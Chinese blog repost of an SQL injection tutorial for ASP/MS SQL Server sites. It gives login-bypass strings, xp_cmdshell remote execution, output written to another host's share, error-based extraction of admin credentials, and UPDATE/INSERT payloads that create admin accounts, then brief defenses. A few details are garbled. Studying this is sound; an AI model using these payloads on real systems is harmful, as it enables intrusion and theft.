zoukankan      html  css  js  c++  java
  • 数据库注入详解

    数据库注入详解

     

    1.0 介绍
    当一台机器只打开了80端口, 你最依赖的漏洞扫描器也不能返回任何有用的内容, 并且你知道管理员经常为机器打补丁, 我们就不得不使用web攻击方式了. SQL注入是web攻击的一种类型 ,这种方式只需要开放80端口就够了并且即使管理员打了全部的补丁也能工作. 它攻击的目标是web程序(ASP,JSP,PHP,CGI)本身而不是web服务器或系统上运行的服务.

    本文不介绍任何新的东西, SQL注入已经被广泛的讨论和使用. 我们写这篇文章目的是因为我们想要使用SQL注入进行一些演练测试,希望这个能对各位有用. 你可以在这里找到一两个窍门但是请你关注下"9.0 哪里有更多的信息?" 可以得到关于SQL注入更多,更深入的技术.

     

     

    1.1 什么是SQL注入
    通过网页的输入项来注入SQL查询或命令是一种技巧。许多网页会从用户那里获取参数,并构建SQL查询来访问数据库。以用户登录为例,页面收集用户名和密码然后构建SQL去查询数据库,来校验用户名和密码的有效性。通过SQL注入,我们可以发送经过精心编造的用户名和/或密码字段,来改变SQL查询语句并赋予我们其它一些权限。  

    1.2
    你需要什么? 
    任意web浏览器。  

    2.0
    你应该寻找什么? 
    尝试寻找那些允许你提交数据的页面,即: 登录页面,查询页面,反馈信息等等。有时,HTML页面会用POST命令来把参数发送到另外一个ASP页面上去。那么,你可能在URL中看不到参数。不过,你可以查看页面的HTML源代码,查找"FORM"标签。你会在一些HTML源代码中看到类似下面的东东:

    <FORM action=Search/search.asp method=post>

    <input type=hidden name=A value=C>

    </FORM>

    位于<FORM></FORM>之间的所有内容都可能暗含着有用的参数(利用你的智慧)  

     

     

     

     

    2.1 如果你找不到任何带有输入框的页面怎么办? 
    你应该寻找诸如ASP, JSP, CGI, PHP这样的页面。尤其要找那些携带有参数的 URL,比如: http://test/index.asp?id=1

    3.0
    如何测试它是否是易受攻击的? 
    从一个单引号技巧开始。输入类似这样的内容

    admin' or 1=1-- 


    到登录页面中,或者密码中,甚至直接在URL中。例如
     - Login: admin' or 1=1-- 
     - Pass: admin' or 1=1-- 
     - http://duck/index.asp?id=admin' or 1=1-- 


    假如你必须在一个hidden字段中来这样做,就把HTML源代码下载下来,保存到硬盘上,修改URL和相应的hidden字段。例如

    <FORM action=http://duck/Search/search.asp method=post> 
    <input type=hidden name=A value="hi' or 1=1--"> 
    </FORM> 


    如果够幸运,不需要任何用户名和密码你就可以登录。

    3.1 为什么是 ' or 1=1--? 

    让我们通过另外一个例子来展示' or 1=1-- 的重要性。除了能绕过登录验证,它还能展示一些在正常情况下很难看到的额外信息。假设,有一个ASP页面,其功能是将我们导航到下面的URL

    http://duck/index.asp?category=food 

    URL中,'category'是变量名;food是赋给变量的值。为了完成导航功能,我们猜想ASP页面应该包含下面的代码(这些代码是我们为了完成此测试而编写的真实代码):

    v_cat = request("category") 
    sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" 
    set rs=conn.execute(sqlstr) 

    如上所示,变量v_cat获取了参数category的值,SQL语句将变成:

    SELECT * FROM product WHERE PCategory='food' 

    SQL语句将返回符合where条件的的结果集。在本例中,where条件是PCategory='food' 

    下面,假设我们将URL改成下面的形式:

    http://duck/index.asp?category=food' or 1=1-- 

    现在,变量v_cat等于"food' or 1=1-- "。将变量v_catSQL中进行替换,我们将得到下面语句:

    SELECT * FROM product WHERE PCategory='food' or 1=1--' 

    该语句将得到product表中所有记录,无论PCategory是否等于'food'“--”告诉MS SQL server忽略其后面的所有内容(笔者注:其实可以理解为注释,“--”后面所有的内容都为注释),方便我们处理单引号。在某些情况下,"--"可以被替换成”#“

    如果后台的数据库不是SQL Server,查询语句的单引号就不能被忽略。在这种情况下,我们可以尝试下面的查询条件:

    ' or 'a'='a 

    此时,SQL语句将变成:

    SELECT * FROM product WHERE PCategory='food' or 'a'='a' 

    根据真实的SQL语句,我们还可以尝试以下各种变形:

    ' or 1=1-- 
    " or 1=1-- 
    or 1=1-- 
    ' or 'a'='a 
    " or "a"="a 
    ') or ('a'='a

    4.0 我如何通过SQL注入来进行远程执行? 
    能够注入SQL命名通常意味着我们可以随意执行任何SQL查询。默认安装的MS SQL 服务是作为SYSTEM来运行的, 它相当于 Windows系统中的Administrator。我们可以利用存储过程,比如master..xp_cmdshell 来进行远程执行

    '; exec master..xp_cmdshell 'ping 10.10.1.2'-- 


    如果单引号(')不管用,可以试试双引号 (")  

    分号会终止当前的SQL查询,这就允许你开始一个新的SQL命名。要验证命令是否执行成功,你需要监听来自10.10.1.2 ICMP数据包,检查是否收到来自服务器的数据包

    #tcpdump icmp 


    如果你没有收到任何来自服务器的ping请求,并且收到了暗示许可错误的信息,则有可能是管理员限制了Web用户对存储过程的访问。

     

    5.0 如何获取SQL查询的输出? 
    可以通过使用sp_makewebtask把你的查询写入到HTML: 

    '; EXEC master..sp_makewebtask "\10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" 


    注意这个目标IP的文件夹"share"的共享权限是Everyone. 

    6.0
    如何从数据库的ODBC错误消息中获取数据? 
    我们几乎可以在MS SQL服务器产生的错误消息中得到任何我们想要的数据. 通过类似下面的这个地址

    http://duck/index.asp?id=10 


    我们将试图把这个整数'10'和另外的字符串进行UNION联合操作

    http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- 


    系统表 INFORMATION_SCHEMA.TABLES 包含了服务器上所有表的信息. 这个TABLE_NAME 字段包含数据库中每个表的字段. 这样就不存在无此表无此字段的问题了. 看我们的查询语句

    SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES- 


    这个语句将会返回数据库中第一个表的名字. 当我们使用这个字符串值和一个数字'10'进行UNION操作, MS SQL 服务器将会试图转换这个字符串(nvarchar)为一个数字. 这会产生一个错误, 因为我们不能把nvarchar类型转换成数字. 服务器将会产生以下错误信息

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. 
    /index.asp, line 5 


    这个错误消息清楚的告诉我们这个值不能转换为数字. 同时呢,里面也包含了数据库中第一个表的名字 ,就是"table1". 

    想获取下一个表的名字,我们使用下面的语句

    http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')-- 


    我们也可以使用LIKE关键词来搜索数据

    http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'-- 


    输出

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. 
    /index.asp, line 5 


    这个匹配, '%25login%25' 的结果和 %login% 是一样的在SQL Server服务器中.这样,我们将得到 匹配的第一个表的名字, "admin_login".

    6.1 如何挖掘到表所有列的名称?

    我们可以使用另一个非常有用的表INFORMATION_SCHEMA.COLUMNS 来标出某一个的表所有列名:

    http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'-- 

    输出

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. 
    /index.asp, line 5 


    注意错误提示,里面已经包含了第一个列名, 下面我们使用NOT IN ()来取得下一个列的名称

    http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')-- 


    输出

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. 
    /index.asp, line 5 


    按上面的步骤继续下一个,我们就能获得剩下的所有列的名称, "password", "details"等列. 当我们得到下面的这个错误提示时,就表示我们已经找出所有的列名了.  

    http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')-- 


    输出

    Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
    [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. 
    /index.asp, line 5 

     

    6.2 如何检索到我们想要的数据? 
    现在我们已经确认了一些重要的表,以及它们的列名,我们可以用同样的技巧从数据库中挖掘任何我们想要的信息

    现在,让我们从这个"admin_login"表中得到第一个login_name的值吧

    http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login-- 


    输出

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. 
    /index.asp, line 5 


    根据上面的错误提示我们知道这里有一个管理员的登录名是"neo".下面,我们从数据库中到"neo"的密码

    http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'-- 

    Output: 

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. 
    /index.asp, line 5 

    密码就在错误提示里了,现在让我们用"neo"和密码"m4trix"登录试试吧.

     6.3 如何获取数字型字符串的值?

    上面所述的技术具有局限性。在我们试图转换包含有效数字(即只是0-9之间的字符)的时候,我们没有得到任何错误信息。让我们试着获取"trinity"的密码"31173":

     

    http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'

    我们可能得到"此页面不存在的错误。原因在于:在于整数(这时是10)联接之前,密码"31173"将转换为一个数字。由于这是一个有效地联接(UNION)语句,因此SQL Server不会抛出ODBC错误信息,因此我们将不能获取到任何数字型的项。

    为了解决这个问题,我们给数字型字符串后面提交一些字母,这样可以确保转换失效。让我们看看下面这个查询:

     

    http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'

     


     

    我们只是给我们需要的密码文本后添加了加号(+)。(“+”ASCII编码是0x2b)。我们将给真正的密码后添加(空格)休眠符。因此,即使我们有一个字符型字符串”31173“,它最终将变为”31173休眠符。通过手工调用convert()函数试图把“31173休眠符转换为整数时,SQL Server抛出ODBC错误信息:

     

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. 
    /index.asp, line 5

     

    现在,你就可以使用密码为"31173""trinity"用户登陆了。

     

    7.0 如何向数据库中更新或插入数据? 
    当我们成功的获取到一张表的所有字段名后,我们就有可能UPDATE甚至INSERT一条新记录到该表中。例如,修改"neo"的密码

    http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'-- 


    下面INSERT一条新记录到数据库中

    http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')-- 


    现在我们可以用用户名"neo2"和密码"newpas5"来登录了

     

    8.0 如何避免SQL注入?

        过滤参数中的单引号、双引号、斜杠、反斜杠、分号等字符;以及NULL、回车符、换行符等扩展字符。这些参数可能来自于:

    • 前台表单(form)中的用户输入
    • URL中的参数
    • cookie

        对于数字,在将其传入SQL语句之前将其从字符串(String)转换成数字(Number);或者用ISNUMERIC函数确定其确实是数字。

        SQL Server的运行用户修改为低权限用户(low privilege user)

        删除不再需要的存储过程,例如:master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask 

     

     

    本博客记录Sylon的学习总结和学习情况做记录 望今后能记录自己的学习之路,同时分享高品质博文!!!
  • 相关阅读:
    素数路径Prime Path POJ3126 素数,BFS
    Fliptile POJ3279 DFS
    Find the Multiple POJ1426
    洗牌Shuffle'm Up POJ3087 模拟
    棋盘问题 POJ1321 DFS
    抓住那只牛!Catch That Cow POJ3278 BFS
    Dungeon Master POJ2251 三维BFS
    Splitting into digits CodeForce#1104A
    Ubuntu下手动安装Nvidia显卡驱动
    最大连续子序列和
  • 原文地址:https://www.cnblogs.com/Sylon/p/11747470.html
Copyright © 2011-2022 走看看